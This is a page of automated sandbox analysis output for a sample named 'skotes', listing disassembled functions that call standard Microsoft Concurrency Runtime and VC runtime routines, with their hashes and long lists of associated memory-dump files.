Opcode ID: 3b40bfab62111fe6042667b889bf9bbe577248b95daaf7e2b586503f371ef274
Instruction ID: f76c8d35037ea9049fcaa2eabceb5a7405fead66d5ab8c46c5dc63b358a1da52
Opcode Fuzzy Hash: 3b40bfab62111fe6042667b889bf9bbe577248b95daaf7e2b586503f371ef274
Instruction Fuzzy Hash: 8951BEB2A02616CBDB25CF59D8917AAB7F1FB58304F2485ABC405EB2A0E774E940CF50

Function 00BA26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BA26E3

Part of subcall function 00BA24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BA2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BA2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BA275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 00BA27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 00BA27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 00BA2846

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 3aeec5179d5318efb7b5a5b501811b4783c3def6625bcff0f1f7fca915d20a32
Instruction ID: fd2a40c083100d0371ff2655769959d2a09f23d8ecb5641f652d89e10bbb0735
Opcode Fuzzy Hash: 3aeec5179d5318efb7b5a5b501811b4783c3def6625bcff0f1f7fca915d20a32
Instruction Fuzzy Hash: 10817C34908249ABDF169F58CA91BBE7BF2EF56304F0440E8FC416B252C7368E55DB61

Function 00BA2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00BA2982

Part of subcall function 00BA24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 00BA29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 00BA29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 00BA29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00BA2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00BA2AD8

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 64e65751d199cbc9d67e6f0aefbd624fa0321b592a53deab41801e82491f0db1
Instruction ID: b5c030608af45c95924454d8b11f24bc427eddb46d812b5ef435413e3bb6f37c
Opcode Fuzzy Hash: 64e65751d199cbc9d67e6f0aefbd624fa0321b592a53deab41801e82491f0db1
Instruction Fuzzy Hash: 9F716930908249AFDF15DFA8C991ABEBBF6EF5A304F0440D9EC416B252C7329D15DB61

Function 00B92832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00B92876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00B928DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00B92913

Part of subcall function 00B907ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00B9080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00B92993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00B929DB

Part of subcall function 00B907C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00B907DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00B929EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00B92A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00B92A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00B92A7E

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 11f5657d158017e03c37dc43706ad0c0683506360f5c5940ab03263680b8178d
Instruction ID: 82e8ee0b53b426f456a5597fb05e734f245379ff45939358b3c230bbfe6ea0b1
Opcode Fuzzy Hash: 11f5657d158017e03c37dc43706ad0c0683506360f5c5940ab03263680b8178d
Instruction Fuzzy Hash: 07818F32E0161AAFCF28DFA8D8A197DB7F1FB58310B2440BED445A7251EB346D45CB90

Function 00B969DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00B96A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00B96A51
List.LIBCONCRT ref: 00B96A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00B96A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00B96AB9
List.LIBCONCRT ref: 00B96AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00B96B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B96B20
List.LIBCONCRT ref: 00B96B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00B96B68

Part of subcall function 00B95EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B95EF7
Part of subcall function 00B95EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00B95F09

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 60a2404e818aa28988c4796874e69633e28fdf6500d4a1b0bded4d37bd052aba
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 5B513E71A00209ABDF18DF64C595FEDB3E8FF08344F1545B9E915AB282DB30AE45CB90

Function 00BA52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00BA53A0
type_info::operator==.LIBVCRUNTIME ref: 00BA53C7
___TypeMatch.LIBVCRUNTIME ref: 00BA54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00BA55AE
CallUnexpected.LIBVCRUNTIME ref: 00BA5650

Strings

csm, xrefs: 00BA534D
csm, xrefs: 00BA53FE
csm, xrefs: 00BA52E0

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
